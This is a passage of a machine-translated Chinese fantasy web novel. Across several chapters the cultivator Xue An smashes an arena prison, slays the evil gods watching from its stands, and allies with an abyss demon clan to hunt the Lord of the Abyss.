    "Warning, everyone should return to the room immediately, otherwise there is no mercy!"


    And with the sound of the alarm, a bright light and shadow suddenly appeared in the void, and then rushed towards Xue An with the momentum of thunder.


    But Xue An didn''t even look at this light and shadow, and his fist was another blow.


    Click!


    This time cracks appeared on the entire ceiling.


    As for this light and shadow, it was directly shaken off by Xue An.


    The old man looked at Xue An''s back with excitement on his face and his eyes were colorful.


    "Can someone finally open this cage?"


    The voice just fell, but Xue An threw out his fist for the third time.


    Bang!


    With a burst, the entire ceiling shattered.


    When the smoke was everywhere, I heard a scream from outside.


    "No, these guys ran out!"


    "Run!"


    Hearing these screams, Xue An sneered coldly, and then stepped out of the killing **** directly to the outside world.


    This is a place similar to an arena, and the broken cube at the foot is the **** of killing that traps everyone.


    But around the arena, there are stands, and above the stands are suspended light mirrors.


    The live broadcast above is the scene in the killing hell.

 Chapter 1722： Old dominator

    And when Xue An destroyed the Killing Hell with one blow and walked out of it, the spectators in the surrounding stands screamed again and again and began to flee wildly.


    These audiences are diverse, not only humans, but also demons, gods and ghosts.


    Xue An is not talking nonsense, raising his hand is a sword.


    puff!


    The sword light swept past like a horse, and countless heads landed instantly.


    But Xue An''s goal was not the audience in the stands. He flashed his figure and went straight to the boxes behind the stands.


    As Xue An said, this is indeed a game.


    It''s just that the people in the game have to pay the price of their lives.


    Those who watch the game enjoy it.


    Especially the big men in the box.


    In fact, since Xue An appeared in Killing Hell, someone has noticed him.


    If it is a human being, it should be called a monster.


    Because it has no body, it has only one huge eye, and the eyes are full of tentacles.


    I saw its eyes staring at Xue An and An Yan in the picture, waving its tentacles and making a harsh and unpleasant whistling sound.


    "I like this woman, quack! After this hunt is over, I will ask her to offer sacrifices to me!"


    The others in the box disagree.


    Because as far as these abyss evil gods are concerned, a human woman can''t really interest them.


    But the subsequent development greatly exceeded their expectations.


    First, Fu Lanqing, who was supported by the evil god, died, and then Xue An began to bombard and kill hell.


    Every click makes the cube tremble.


    Seeing this scene, the evil spirit was angry.


    "The humble humans dare to destroy our game! I will make him pay!"


    With that, it sent a clone into the killing **** to try to obliterate Xue An.


    But only a moment later, its clone was shattered, and then Xue An blasted through the killing **** and came to the outside world.


    This time even these evil gods couldn''t help being frightened.


    "What''s the matter? Why is this human race so tyrannical?"


    But before they could find the answer, Xue An had already killed him.


    Bang!


    The box was directly smashed by Xue An, and then appeared in the court.


    Xue Ansen smiled when he saw this evil **** full of seats.


    "Sure enough, you are the old dominators!"


    That''s right!


    This group of evil gods once ruled the heavens in ancient times, but due to unknowable reasons, these evil gods quickly declined and were finally sealed in this abyss.


    But this does not mean that they are not strong.


    On the contrary, the evil gods that can survive to this day all possess extremely terrifying strength.


    Even a weaker person will collapse and die just by looking at them.


    After seeing Xue An, these evil gods didn''t have any nonsense and directly launched an attack.


    Around Xue An''s body, the space instantly became like a swamp with an unpleasant stench.


    The filthy blood is constantly eroding Xue An''s body.


    And crazy drums resounded through the box at the same time.


    This is completely different from the attack method of the current cultivation system of the heavens, and cannot be inferred by common sense at all.


    If it was someone else, even if he was a strong immortal king, he would have to retreat from the attack of these evil gods.


    But Xue An didn''t even move, just smiled coldly.


    "I''m really weird. I hide behind my back and don''t show up, but want to win against me with these maggots. Are you here to be funny?"


    After all, a boundless flame suddenly rose in Xue An''s eyes.


    The red lotus karmic fire spewed out, and instantly broke through the chaotic swamp around it, extinguished the drums, and then went straight to these evil gods.


    "Shenhuo outside the sky! No!"


    When these evil gods saw the red lotus karma fire, they couldn''t help screaming, and then fled in all directions.


    But no one can escape Xue An''s blow.


    boom!


    The first person covered in flames was the strange-eyed evil **** who uttered maddening before.


    I saw it screaming frantically, but in the next second, it was cremated into fly ash by karma.


    Then these evil gods were like torches, and they were instantly burned to ashes.


    In an instant, the evil gods were completely destroyed.


    Xue An stood there for a while, and finally raised an eyebrow.


    "It seems that you are determined not to come out? Well, then I will dig three feet and dig you out!"


    After that, Xue An turned and left.


    at the same time.


    Jane Zaixin and others have also flew out of the killing hell, and then they were stunned by the scene in front of them.


    But seeing dead bodies everywhere in the stands, blood flowed across.


    "This...what''s going on?" Someone whispered in shock.


    "Very simple, these are the spectators of this game, so they are all dead!" With the voice, Xue An''s figure flashed and appeared in front of everyone.


    It was still the image of the fluttering young boy in white, but at this moment, no one dared to look down upon him.


    After all, this is the existence that will blast through the killing hell!


    "Now things are done here, and your memories should be restored, so let''s go away separately!" Xue An said lightly.


    These people looked at each other, and then they all showed excitement, and they all bowed to Xue Anshen.


    "Thank you, sir!"


    After talking about it, they dispersed.


    But when a brawny man got in the crowd and planned to sneak away [Ayszw.xyz].


    Xue An whispered: "Why, did the second hall master of Shenwu Hall plan to leave like this?"


    As soon as this remark came out, the brawny man was shocked, turned his head stiffly, and grinned at Xue An.


    "Big... do you have any more orders?"


    Xue An smiled coldly, "I think, should you give an explanation for the previous thing?"


    The cold sweat on the brawny man''s forehead slid down in an instant, he fell to his knees with a splash, and squatted his head at Xue An.


    "My lord is forgiving! My lord is forgiving. I have no eyes and ran into the lord! Please let me go this time!"


    Xue An looked at him with a smile, and suddenly turned his head to look at Jian Zaixin who had been standing not far away.


    "He will leave it to you, kill and save, whatever you want!"


    Jane was taken aback for a moment.


    The brawny man had already knocked his head back and forth at her.


    "Girl Jane, please spare your life! I didn''t mean to betray you before Before the words were finished, a sword gas had pierced his throat.


    The burly man was holding his throat with his hands in his hands, looking at Jane Zai heart unwillingly with resentment.


    Jane Zaixin said indifferently: "Betrayal is betrayal, isn''t it betrayal if it wasn''t on purpose?"


    Words fall. The burly man fell to the ground and died in desperation.


    Only then did Jane breathe out in her heart, then took a step forward and said in courtesy: "My lord, you..."


    Xue An waved his hand, "Okay, now the things here have been closed by me, you can leave as soon as possible, remember to talk to the guy Li Jingxing after you go back, just say that the incident... let it go!"


    After hearing what Xue An said, Jane looked sad in her heart, "My lord, do you know why I came to this dangerous place?"


    "Why?"


    "Because Shizu, his old man has disappeared three years ago... strangely!" Jian Zaixin smiled bitterly.

 Chapter 1723： Demon Land

    "What? Li Jingxing is missing?" Xue An was also surprised.


    "Yeah! In order to find his old man, our Seven Greatest walks scattered all over the world, we have been struggling to find him! But we have found nothing. In desperation, I came to this abyss to try my luck, but I was arrested. stand up."


    Xue An looked contemplative, and finally nodded slowly, "Okay, I know! But the abyss is not a place where you can come. As for looking for something to do with Li Jingxing, I can help you!"


    Jane was overjoyed when she heard the words, "Thank you, my lord, but this place is sinister, so let me accompany you to find it together!"


    Xue An shook his head, "No need, I still have some important things to do here, but you will get in the way if you stay!"


    Jane nodded in her heart and respectfully said, "If that''s the case, thank you my lord! But I don''t know the name of the lord!"


    Xue An smiled swiftly, and then passed a spiritual thought.


    Jane was taken aback at first, and then she was shocked, shaking with excitement.


    "you����."


    Xue An shook his head lightly, beckoning her not to go on.


    Jane gave a solemn expression in her heart and respectfully said, "The younger generation will not disturb the adults!"


    "Go!" Xue An waved his hand.


    Jane turned and left in the heart.


    An Yan let out a sigh of relief, her scalp was tingling from the previous fight.


    "Husband, where are we going next?"


    Xue An smiled slightly, "Don''t worry, there is always a place to go!"


    With that, Xue An turned to look at the cube not far away, and said lightly: "What? I''ve been in it for a long time, do you have feelings? Don''t plan to come out yet?"


    After a while, only a soft sigh came from inside.


    "I didn''t expect it, but for hundreds of years, the human race has such a stunning junior like you. It''s amazing!"


    Following the voice, the old man stepped out of the middle section, and then moved his muscles and bones extremely happily.


    "Huh! The air outside is better!"


    Xue looked at him quietly and did not speak.


    At this time, the old man looked at the surrounding stands with a surprised face, especially when he saw the dilapidated box in the distance, a look of astonishment flashed in his eyes.


    "Those evil gods..."


    "I killed them all!" Xue An said lightly.


    The old man''s expression gradually became serious.


    "Why are you caught in the **** of killing with such a strength?"


    Xue An shook his head, "I didn''t get caught, but I went in by myself! And how did you get caught with your strength?"


    The old man was startled, then sighed softly: "When did you know it?"


    "I knew it from the beginning! After all, there are only a handful of people among the heavens who can be hidden under my consciousness!"


    The old man laughed loudly, "Okay! This is bold! Yes, of course I was not caught by these **** evil gods, because I was caught by someone else, so I was trapped in it for hundreds of years. as long as!"


    "You mean... The Lord of the Abyss?" Xue An suddenly chuckled.


    This sentence made the smile on the old man''s face disappear in an instant, and then stared at Xue An, until a long time later, he said solemnly: "You know? If it weren''t for me to be unsure, now you are a dead person. !"


    An Yan suddenly became nervous.


    Because she really didn''t understand why the two people who were talking and laughing just now suddenly became tense.


    Xue An sensed her tension and couldn''t help but patted her shoulder with a light smile, and then said lightly: "Do you suspect that I am the owner of the abyss?"


    The old man shook his head, "I did have some suspicions just now, but now I don''t have any, because you are indeed a human race, not those evil gods in human skin!"


    Xue An said calmly: "Then what about you? Should I call you the Abyss Demon, or the old man?"


    The old man��s pupils shrank instantly to the size of a needle tip, "You..."


    "Don''t be nervous, I didn''t mean to target you, because... if I wanted to kill you, you would be dead by now!"


    Hearing these words, the old man was silent.


    Different from the threat he just made, Xue An''s words have a real deterrent effect.


    After all, his strength can really kill himself.


    This old man really wanted to put on an old predecessor''s posture in front of Xue An.


    But now he finally understood that the boy in front of him was definitely not a newcomer.


    He is a strong man with a calm mind and a sharp vision.


    "Who are you? What are you going to do?"


    "Who am I? Your people should know this question. As for what I plan to do..."


    Xue An''s eyes became cold, "I want to find the Lord of the Abyss!"


    "Lord of the Abyss, why are you looking for him?" The old man was shocked.


    "It''s very simple, kill him, take revenge!" Xue An said lightly, as if talking about a trivial matter.


    The old man took a deep look at Xue An, and suddenly said: "Do you know how many amazing people from ancient times to the present who want to kill the Lord of the Abyss? But they all failed without exception! How can you guarantee Can you do it yourself?"


    Xue An smiled, "I don''t need to guarantee, because I am the exception!"


    The powerful self-signaling old man in the words couldn''t help but look sideways. He licked his dry lips.


    "Then what do you need me to do?"


    "It''s very simple, first take me back to your clan land, and then dig three feet to find the Lord of the Abyss!"


    There are thousands of ethnic groups in the abyss, but the most representative ones are the evil gods and demons living at the bottom of the abyss.


    These two ethnic groups are often confused.


    In fact, they are completely incompatible with each other.


    Cthulhu is the ruler of ancient times, so it is also called the ruler of the old days.


    The demons are a race born and raised in the abyss.


    Each of them has the abilities that the abyss bestows on them, but because of this, they are locked in the abyss, except for certain secret arts that can summon them outside, they can''t get in or out.


    Because of its powerful strength, for a long period of time the demons are the absolute masters of the abyss.


    All the way to the back, the Heretic God''s army emerged, and finally a protracted battle broke out.


    The victor is on the side of the evil god, and the super existence of the Lord of the Abyss was born from it.


    And the demon line was reduced to a low-level existence, and some of them took refuge in the evil god, but some have been struggling to support it.


    This old man was one of them, and because of his tyrannical strength, he caused a lot of trouble to the evil god.


    In the end, the Lord of the Abyss made a bold move and directly sent him into the **** of killing, and imprisoned all his cultivation.


    I thought he would die inside.


    However, the old man deceived the sanctions by means of defying the sky and finally survived.


    It can be said that the demon clan is much stronger than Xue Anke in hatred for the Lord of the Abyss.


    Therefore, after hearing Xue An''s trouble finding the Lord of the Abyss, the old man really led him to the Demon Race Land.

 Chapter 1724： 1 foot trembles with stars

    The reason why the abyss is called the first realm of the heavens is because it forms a system of its own.


    After coming out of this ancient arena, there was a vast starry sky in front of him.


    It''s just that most of the stars here are already dead, and some of the rest are already in their twilight years, emitting an ominous dark red light.


    The stars were quickly passed by, and at the speed of Xue An and the old man, hundreds of millions of miles were no more than a snap.


    Therefore, after only a few hours of light, a barren planet with a pale luster appeared in front of him.


    This planet is much smaller than the earth, and it is covered by a thick layer of dark clouds. Even Xue An''s spiritual thoughts cannot penetrate this layer of dark clouds.


    "Old man Kang, is this the territory of your demon?" Xue An said lightly.


    In fact, orthodox demons have no names that can be understood by humans, only their real names.


    To ordinary people, their real names are completely obscure and incomprehensible syllables like a mantra.


    So Xue An simply named the old man and called him Kang Shuaifu.


    Of course the old man didn''t understand the meaning of the name, even if he did, he didn''t care about it.


    He looked at the planet in front of him with excitement, nodded and said, "Yes, this is the last territory of our demons!"


    "Since it is, let''s go!"


    Xue An turned into a streamer and rushed to this star first.


    Kang Shuaifu followed closely behind.


    The thunder was rumbling in the thick clouds, and there were bright thunder lights everywhere.


    And these thunder lights are different from ordinary sky thunders, each of them exudes almost pure white light, and the terrifying power is even more numb to the scalp.


    This is an absolute thunder full of destruction.


    In general, the strong, not to mention hard resistance, even if they hit a little bit, they will be frightened.


    But when Xue An rushed into the clouds first, these thunder lights seemed to see the king''s courtiers, and they retreated extremely docilely, giving way to a straight road.


    Xue An took An Yan''s hand and walked through it without hindrance.


    Shuaifu Kang, who followed closely, looked at him numbly.


    Xue An had already shocked him too much along the way, and he was already quite familiar with it.


    quickly.


    The group of them penetrated the clouds and arrived in the planet.


    Unlike the expected scene of lava and fire rain everywhere, there is actually a lush continent underneath, and the aura is full of it, like a blessed land.


    An Yan couldn''t help but widen his eyes.


    Seemingly aware of her question, Xue An smiled faintly, "Do you think these demons really like to live in a bad environment? If they can, who wouldn''t want to live better!"


    An Yan nodded seemingly.


    But before she could speak, several Guanghua suddenly appeared in the surrounding area, and then there was a shout.


    "Who? Dare to break into my demonic land?"


    Following the voice, several powerful men wearing battle armor appeared in Guanghua.


    Before Xue An could speak, Kang Shuaifu burst into laughter.


    "Children, ancestor, I am back!"


    After speaking, he saw that Kang Shuaifu''s figure swayed, and then he transformed from an ordinary old man into a terrifying monster.


    At first glance, it looks like a centipede.


    An Yan was so frightened that Hua Rong paled, and hurriedly hid behind Xue An.


    No matter how strong they are, girls are girls after all, and they are full of fear for these strange-shaped bugs.


    Unexpectedly, these men were slightly startled when they heard what Kang Shuaifu said, and Xuan even said with a puzzled expression.


    "Old ancestor? What ancestor?"


    "Yes, who are you ancestors? Dare to talk nonsense here. It''s not a good thing at first glance. Take it back and hand it to the adults for interrogation!"


    Hearing these shouts, the man who thought these men would kneel to greet him could not help being stupid.


    "You... don''t you know this seat?"


    "Ah, whoever you are! Take it away!"


    As soon as these men rushed forward, they planned to arrest Kang Shuaifu.


    And because he was imprisoned for hundreds of years, Kang Shuaifu''s strength was far from recovering, so when facing these men, he could not be subdued for a while.


    This is embarrassing.


    Because on the way, Kang Shuaifu promised Xue An that he patted his chest, saying that as long as he showed up, everything would be all right.


    Unexpectedly, this situation occurred.


    Shuaifu Kang was ashamed and angry, "Assholes, you juniors, dare to despise the existence of this seat!"


    While talking, his huge body rushed from left to right, trying to repel the people who blocked him.


    But helplessly, the strength is not as good as that of people. The more struggling, the smaller the encirclement.


    After a while, Kang Shuaifu was forced to support the left and the right.


    In desperation, he had to shout at Xue An: "Hey, are you just looking at it like this?"


    Xue An seemed to smile, "Then what do you think of me?"


    "Come here and help!" Kang Shuaifu said angrily.


    "Help? Just rely on such a human race? Old fellow, are you here to be funny?" a man laughed.


    Xue An raised his eyebrows slightly, "Old man Kang, it seems that these people of yours are not as smart as you brag!"


    "Damn, kid, dare you laugh at us? I''ll show you some color now!" A man left the battle group and went straight to Xue An.


    Xue An didn''t even lift his eyelids, and snapped his fingers.


    Bang!


    The man was directly bombed out and exploded into powder in the air.


    Seeing this scene, these people who were besieging Kang Shuaifu were all surprised.


    Xue An has lost patience.


    The longer you stay in the abyss, the more variables there will be on the earth.


    So he looked down at the ground under his feet, took a slow and deep breath, and stepped down.


    boom!


    Under the tremendous force of this foot, the space was smashed to pieces, and passed down like a domino.


    After the loud bang, the entire star trembled a few times in a visible range, and a huge footprint appeared on the ground.


    These guards were stunned by this kind of overpowering power.


    at the same time.


    A roar of fright and anger came from the middle of the mainland.


    "who?"


    "Who dares to come to my demonic clan to make trouble?"


    Following the voice, UU read www.uuk��nshu.com, but saw the figures flying straight up, and instantly enveloped the sky.


    Standing at the front are three men with different looks.


    The ages of the three are very different, and the elderly are already gray-haired.


    And the young one is just a youth.


    But no matter how old they are, the three of them are enveloped in a black qi, obviously very powerful.


    "Human race powerhouse, why do you want to destroy our race land?" the oldest man asked coldly.


    Xue An smiled slightly, "It''s nothing, just tell you to come over!"


    "Notify us to come over?"


    Xue An didn''t say a word, turned his side slightly, and Kang Shuaifu, who had recovered his human form, stepped forward with a complicated expression.


    "Disciple, do you still recognize as a teacher?"

 Chapter 1725： Do you know my name?

    As soon as he said this, the old man trembled all over, then looked at Kang Shuaifu with a confused face.


    "you are����."


    Kang Shuaifu sighed softly, and suddenly said a large number of obscure syllables.


    After listening, the old man thumped and fell to his knees, then knocked his head with excitement.


    "Master, I thought you had already died in the hands of the evil god, but I didn''t expect you to be alive! Where have you been for so many years?"


    Shuaifu Kang shook his head and smiled bitterly, "This is a long story. Get up first!"


    The old man just got up.


    From the beginning to the end, the two men standing behind him did not move anything, but looked at Kang Shuaifu and Xue An with indifference.


    "The two of them are..." Kang Shuaifu asked.


    The old man hurriedly introduced: "Master, they are all rising stars of our demons, this one is called Zhan Qianchen, this one is called Jue Wanfa!"


    Among the new generation of demons, it has become a common practice to take human names.


    So this is not surprising.


    But the two of them stared coldly at Kang Shuaifu, not even a slight smile.


    The atmosphere suddenly became tense.


    Kang Shuaifu''s complexion gradually became gloomy.


    The old man saw that the atmosphere was wrong, and quickly stood up to make a round.


    "Master, you must be very tired, please go and rest with the apprentice first!"


    With that, he wanted to lead Kang Shuaifu away.


    But at this moment, Zhan Qianchen stepped forward and blocked his way.


    "Wait!"


    The old man was taken aback, "Qianchen, you..."


    Zhan Qianchen said coldly: "He can go, but these two human races can''t! Who knows if they are spies sent by the evil god?"


    "Yes! And I doubt it, since this senior hasn''t seen each other for hundreds of years, why did he suddenly appear at this time?" Duan Wanfa also sneered.


    "You..." Kang Shuaifu was so depressed that he almost vomited blood.


    Originally full of joy, I thought everything would be fine after returning to the Demon Race.


    But I didn''t expect that I hadn''t appeared for hundreds of years, but things had become like this!


    In particular, he was scorned by younger generations one after another, which really made him a little unable to come to stage.


    But Xue An laughed after listening.


    "A group of ignorant juniors shivering in the corner, dare to show off in front of me?"


    The audience was shocked when he said this!


    "Bold!"


    "Where did the kid dare to be so presumptuous!"


    The expression in Zhan Qianchen''s eyes instantly became cold, "Okay! Very good! It seems that our demonic clan hasn''t been out for too long, even the trivial humans dare to be presumptuous in front of me!"


    "Are you presumptuous?" Xue An smiled faintly, "I don''t think so!"


    As soon as the voice fell, everyone only felt that there was a flower in front of them, and Xue An''s figure disappeared in place. When he reappeared, he had already come close to Zhan Qianchen, and then raised his hand with a loud slap.


    Snapped!


    After a crisp sound, this Zhan Qianchen was flew away hundreds of feet away.


    And Xue An stood proudly in place, and said lightly: "What do you think?"


    The whole audience was quiet and terrible for a moment.


    The pupils of the broken ten thousand law shrank to the size of a needle tip, and the momentum of the whole body suddenly became violent.


    But before he could do anything, Zhan Qianchen, who was about to be mad, rushed forward with a roar.


    But just rushing to the front, Xue An''s palm was like a ghost, drawing it again at an incredible angle.


    Snapped!


    Zhan Qianchen was fanned out again, this time even the other half of his face was swollen.


    "Have you taken it?" Xue Anyi asked dispiritedly.


    Zhan Qianchen let out a sharp roar, directly revealing the original form of his body, rushing towards Xue An infinitely furious.


    He hadn''t suffered such humiliation yet, and was slapped twice by a human race that he had always looked down upon, so now he can''t wait to tear Xue An directly to pieces.


    When Xue An saw this, a cold color flashed in his eyes. When Zhan Qianchen just rushed to the front, he suddenly raised his foot and stepped on it.


    Click!


    With a burst of intensive explosions, Zhan Qianchen let out a miserable cry, and most of the body bones were crushed by Xue An''s foot.


    But he still refused, Qiang tried to raise his head since he was struggling, but Xue An just said coldly at this time.


    "Don''t move, move again, I don''t mind stepping on your head directly!"


    Accompanied by the voice, there is a shocking intent.


    Zhan Qianchen, who had always been rebellious, actually made Lingling shudder at this moment, and then he really didn''t dare to move anymore.


    Because he had no doubt about Xue An''s determination to kill him.


    Therefore, Xue An defeated the Zhan Qianchen in just one face, and then looked around the audience like iron.


    Everyone was shocked wherever they went.


    Even if it was Suan Wanfa, he couldn''t help taking a half step back pale.


    Kang Shuaifu was also stupid.


    He never expected that things would turn out to be like this.


    As soon as he touched him, the white-clothed boy couldn''t lift his head.


    What does he want to do?


    At this moment, Xue An said calmly: "What I just said, are you very unconvinced?"


    Suddenly hummed coldly, which was regarded as a response.


    Xue An smiled coldly, "But what I said is indeed correct, you are just a bunch of trash who only dare to hide and show off! Don''t rush to refute!"


    "In the face of the evil **** that is pressing every step of the way, what have you done?"


    Xue An''s questioning left these demons speechless.


    It was a long time before I heard Wan Faqiang calmly said, "What does this have to do with you?"


    "Well said! It really doesn''t matter! Actually, if it wasn''t for something that needs to be understood clearly, I wouldn''t bother to come here at all!"


    "As for whether you are alive or dead, it has nothing to do with me!"


    Shuaifu Kang opened his mouth to say something, and finally closed his mouth with a bitter face.


    Once upon a time he thought that Xue An was thinking of using the power of the devil to deal with the Lord of the Abyss.


    But only now did he understand that Xue An had no such idea at all.


    Because he simply doesn''t look down on the power of the demons.


    This discovery made him a little angry, but unable to refute it.


    "Big...sir, please calm down. Both of them are demons that have only grown up in the past 100 years. They are ignorant. Please don''t be familiar with them!" The old man made a round once again.


    Xue An smiled faintly, "General knowledge?"


    Then he shook his head, "You are wrong, if I want to be more serious, he is already a dead body now!"


    With that, Xue An''s feet lifted slightly.


    Zhan Qianchen flashed away, and then stood up with a face full of humiliation, and the eyes that looked at Xue An were full of fear and hatred.


    Xue An didn''t bother to pay attention to this at all, and said lightly: "Now I just want to know, do those demons who took refuge in the abyss evil **** have contact with you?"


    If Xue An''s dominance made all these demons frightened, then these words now set off an uproar.


    "Dare to ask you, what do you mean by this?" The old man''s face also showed a cold look.


    Xue An smiled faintly, "It''s very simple, I want to find them, and then use them to find the Lord of the Abyss!"


    "Lord of the Abyss? What are you looking for for the Lord of the Abyss?" Now he couldn''t help but ask in amazement.


    "There are some accounts, I need to calculate with him! What? Is there a problem?" Xue An said slowly.


    The audience was quiet and terrible.


    Everyone''s eyes flashed with horror It was not until a long time later that Zhan Qianchen suddenly sneered.


    "What a joke, how much the Lord of the Abyss exists, countless people have tried to find him to settle accounts, but they all failed! You want to deal with him alone? This is just wishful thinking!"


    This is also the voice of almost everyone present.


    But Xue An smiled coldly, and then gave Zhan Qianchen a light glance.


    Zhan Qianchen''s face turned pale, and he involuntarily stepped back a few steps.


    "I know many people have failed, but I am different from them!"


    "Where is it different?"


    "Do you know who I am?" Xue An asked suddenly.


    "Oh? Then dare to ask your name?" Zhan Qianchen smiled sarcastically.


    "My name is Xue An! But people generally call me Red Lotus Immortal Venerable, I hope you have heard of this name!"

 Chapter 1726： Deal with the devil

    Quiet!


    Extremely quiet!


    The eyes of everyone present were opened to the fullest.


    Especially this Zhan Qianchen is even more daunting.


    Red Lotus Immortal!


    This name is so remote and so shocking.


    Even if they lived in the abyss, they had heard of this name more than once.


    Only Kang Shuai, who has been caught in the **** of killing for hundreds of years, is relatively unfamiliar with this name.


    Because Xue An ascended to the top of the Immortal Venerable, he happened to be out of the heavens when he became famous.


    But he is not a fool.


    The word "Xianzun" alone was enough to shock him.


    This boy is actually Xianzun?


    My mother, isn''t that the well-deserved first person in the heavens?


    Even the Lord of the Abyss cannot be his opponent!


    Thoughts flashed in Kang Shuaifu''s mind.


    But at this moment, Zhan Qianchen suddenly shouted: "Impossible! Isn''t the Red Lotus Immortal Venerable already fallen? What''s more, if you really are the Immortal Venerable, you can search the abyss in an instant, and you have to spend all the trouble Huh? So you can never be him!"


    "Well said!" Xue An applauded lightly and said with a smile: "But have you ever thought about it, what if I reincarnated again?"


    Zhan Qianchen was speechless for an instant, and could only stare at Xue An in a daze.


    At this time, Xue An went on to say: "I know what you are worried about. Many of the demons who take refuge in the evil gods are the eyeliners sent by you. If it is exposed, you will lose even the last hole card!"


    "But what I want this time is the life of the Lord of the Abyss, as long as it is completed, then you will naturally have no worries!"


    "How? Are you interested in making a deal?" Xue An said with a smile.


    You must know that the abyssal demons are known for their preference for dealing with people, but they generally appear as almsgiver.


    Unexpectedly, when the position was reversed, Xue An became the upper hand.


    "How do we know if you will succeed? Because, as you said, you have been reincarnated and rebuilt, which means that your current strength is far from recovering, so how can you be the opponent of the Lord of the Abyss?" Wanfa''s thinking is obviously much clearer.


    Xue An smiled and shook his head, "This is a good question, but you don''t need to think about it! Because...I will definitely succeed, there is no second possibility!"


    Everyone was moved by the powerful self-signaling revealed in words.


    "Let''s think about it!"


    In the face of this kind of problem that concerns the survival of the ethnic group, the little friction before it becomes insignificant.


    Even Zhan Qianchen converged his inner emotions and got together for a serious discussion.


    But Kang Shuaifu didn''t go over, but approached Xue An and said softly, "Master Xianzun, do you really want to do this?"


    "Of course, is there any problem?" Xue An said with a smile.


    "but����."


    "Why, are you scared?" Xue An said leisurely.


    Kang Shuaifu was silent.


    Yes, he was really scared.


    As someone who has had direct contact with the Lord of the Abyss, he knows better than anyone how terrifying the Lord of the Abyss is.


    In fact, the entire evil **** was born because of him.


    And his origin has always been a mystery.


    People only know that he suddenly appeared in the abyss, then swept the abyss with weird and unpredictable power, and ended the demon''s eternal glory.


    Xue An suddenly patted him on the shoulder, "Sometimes fear doesn''t solve the problem, but it makes the problem worse!"


    "Do you want to be a coward for a lifetime, or do you want to be a hero, even for a few minutes?"


    Xue An''s words made Kang Shuaifu''s eyes bright and colorful, and finally he sighed softly: "Sometimes I really doubt whether we are the devil or you are the devil, how can I be more proficient in bewitching people''s hearts than me!"


    Xue An laughed, "Of course it is you! Because I can''t look down on you demons!"


    At this moment, the three people who had finished their discussions came over again.


    At this time, their attitude became much more respectful than before.


    Even Zhan Qianchen didn''t dare to have the slightest bit of resentment.


    Because he knew very well that the young man in front of him had given himself a lot of face because he hadn''t killed himself just now.


    If you don''t know how to praise, then you are really looking for death.


    "How? How are you thinking about it?"


    "Master Xianzun, we only have one last question now!"


    "Say!"


    "After you destroy the Lord of the Abyss, what will you do next?" Duan Wanfa looked at Xue An with piercing eyes.


    "I am not interested in this lifeless abyss!" Xue An said bluntly.


    Upon hearing these words, the three people finally let out a sigh of relief.


    "Okay! In that case, we will accompany you to bet this one! I just hope you don''t let us down!" Jue Wanfa solemnly said.


    "Smart choice!"


    quickly.


    Xue An followed them to the magic palace located in the middle of the mainland.


    The three of them carefully took out a piece of jade-like bone.


    "Master Xianzun, this is our tool to contact those adults who have penetrated into the evil **** in an emergency!"


    After speaking, I saw that the three of them put a curse on each of them.


    In an instant, light waves emerged from this bone, and then condensed into a mirror in mid-air.


    A messy image appeared in the mirror first, and then gradually became clear.


    at last.


    A huge rabbit appeared in the mirror.


    I saw it squatting on a chair and said with a serious face: "Is there anything wrong with contacting me in such a hurry?"


    The three hurriedly gave a salute, "I have seen Master Demon! The reason why I am so anxious to contact you is because someone wants to see you!"


    "Someone wants to see me? Fooling around! Do you know how secret my identity is? If something goes wrong, wouldn''t it be a waste of work?" Rabbit said angrily.


    At this moment, Xue An walked to the mirror and said with a smile: "Long time no see!"


    The rabbit''s expression was immediately dull.


    This rabbit was exactly the one Xue An had encountered before in Lost Paradise and slaughtered the King of Light.


    At that time, the King of Light summoned it and wanted to make a deal with it to deal with Xue An.


    But it was categorically rejected Then Xue An appeared and startled the rabbit away.


    Unexpectedly, it was the eyeliner of the abyss demon into the evil god.


    In this way, it would be able to explain why it would deal with the subordinates of the evil **** like the King of Light.


    "Big...sir! Why are you?" the rabbit said tremblingly.


    "Why can''t it be me?" Xue An said with a smile.


    "Ah... I didn''t mean that! I just don''t understand, why are you in the Demon Clan?"


    "It''s very simple! Because we have reached a deal, now...you and I are on the same front!" Xue An smiled happily.


    The rabbit was silent, and after a while, he said in a nearly groaning tone: "You... are you going to deal with the Lord of the Abyss?"


    "It seems I finally met a smart man!"


    "So tell me now, where is it!"

 Chapter 1727： Girl of the Abyss

    After a long silence, the rabbit smiled bitterly and said: "My lord does not know something. The Lord of the Abyss is extremely vigilant, and his whereabouts are even more mysterious. Unless the people around him, it is impossible. Know its whereabouts!"


    Xue An raised his eyebrows slightly, but did not speak, because he knew that there would be something to follow.


    really.


    After thinking about it for a while, the rabbit seemed to have made some determination, and said in a determined tone: "But one person must know its whereabouts!"


    "Who?"


    The rabbit took a deep breath, "It''s the current leader of the evil god, the daughter of the abyss, Akana!"


    Hearing this name, Zhan Qianchen and the others changed their expressions, and a deep fear appeared in their eyes.


    Because that is the real top evil god, second only to the existence of the Lord of the Abyss.


    With their strength, let alone getting close, they can''t even try to understand.


    Xue An didn''t care at all, but said with interest: "Oh? Cthulhu leader? Where is she now?"


    "She lives in the blood sea city at the bottom of the abyss, and she rarely shows up, and it is even more impossible to get close, but this time she has a rare opportunity!"


    The rabbit paused, and then went on and said: "The sacred tree in the blood sea city is about to bear the blood sea ghost flame fruit that only occurs once in a thousand years. This is a very valuable divine object to the evil god. So every result will be a grand banquet, and this time is no exception!"


    "Three days later, Akana will hold a Blood Sea Feast in Blood Sea City, and I happened to receive an invitation, so we can take this opportunity to enter Blood Sea City, but the premise is..."


    The rabbit raised his head and looked at Xue An with piercing eyes, "You must be sure to subdue this evil **** leader, so that it is possible to know the whereabouts of the Lord of the Abyss from her mouth!"


    Zhan Qianchen, Jue Wanfa and others all showed tragic expressions upon hearing this.


    Because it seemed to them an impossible task.


    But Xue An didn''t even blink his eyelids, and said faintly: "Well, as long as there is a chance to find out the whereabouts of the Lord of the Abyss, then leave the rest to me!"


    The rabbit nodded, and then sent a coordinate.


    "How inconvenient I am now, you can follow this coordinate to find me, three days later, we will go to Blood Sea City together!"


    After that, the connection is disconnected.


    Xue An accepted the space-time coordinates, and after a moment of indulgence, turned around and smiled at these people.


    "Excuse me, what is the name of this rabbit? I just forgot to ask!"


    Everyone: "..."


    On that day, Xue An did not leave, but directly lived in this demon planet.


    Facing this human race powerhouse who crushed him in terms of strength and identity, the mood of these demons was very complicated.


    On the one hand, they hope that Xue An can really destroy the Lord of the Abyss and give these oppressed demons a chance.


    At the same time, he was full of vigilance against the rise of the human race.


    Xue An naturally knows these things.


    But he just smiled faintly and ignored it.


